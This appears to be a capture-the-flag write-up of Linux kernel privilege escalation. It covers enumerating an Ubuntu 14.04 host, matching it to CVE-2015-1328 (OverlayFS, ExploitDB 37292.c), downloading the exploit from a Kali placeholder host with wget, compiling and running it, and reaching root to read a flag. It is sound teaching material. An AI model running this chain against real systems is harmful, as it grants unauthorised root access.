Enumeration drove everything here. The exploit didn't appear out of nowhere — it followed directly from the host details.

← Back to Linux Privilege Escalation

Enumeration

First things first. Get the lay of the land:

hostname
uname -a
cat /proc/version
cat /etc/issue
python --version

Results: hostname wade7363, kernel 3.13.0-24-generic, OS Ubuntu 14.04 LTS, Python 2.7.6. That kernel version on that OS is a known target. Ran LES to support the direction — not to let it think for me, but as a sanity check while already researching manually. It pointed the same way.

LES output identifying kernel escalation path Kernel and OS enumeration confirming Ubuntu 14.04 and kernel 3.13

Identifying the Exploit

Kernel 3.13.0-24-generic on Ubuntu 14.04 maps to CVE-2015-1328 — an OverlayFS local privilege escalation. ExploitDB has it as 37292.c.

Before doing anything else, checked the exploit header:

head -40 37292.c

Explicitly listed affected versions: Ubuntu 12.04, 14.04, 14.10, 15.04. Target confirmed in range. Moving forward.

Transfer and Compile

Served the exploit from Kali over a Python HTTP server. On the target, pulled it into /tmp:

cd /tmp
wget http://KALI_IP/37292.c

Verified GCC was available, then compiled:

gcc --version
gcc 37292.c -o exploit

Clean return to prompt. Binary present. Ready.

wget pulling exploit to target /tmp directory GCC compiling 37292.c cleanly on target Exploit header confirming Ubuntu 14.04 in affected range Exploit binary confirmed present in /tmp

Execution

./exploit
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
#

That # prompt. First time seeing it from a kernel exploit.

Exploit execution output ending in root # prompt 
id
whoami
uid=0(root) gid=0(root) groups=0(root),1001(karen)
root

Post-Escalation

cat /home/matt/flag1.txt
Root shell confirmed, flag1.txt retrieved

The Chain

SSH as karen → enumerate kernel/OS → match to CVE-2015-1328
→ transfer exploit over HTTP → compile on target → execute
→ root shell → flag

Enumeration first, exploit second. The kernel version was the pivot point. Everything else was execution.

← Back to Linux Privilege Escalation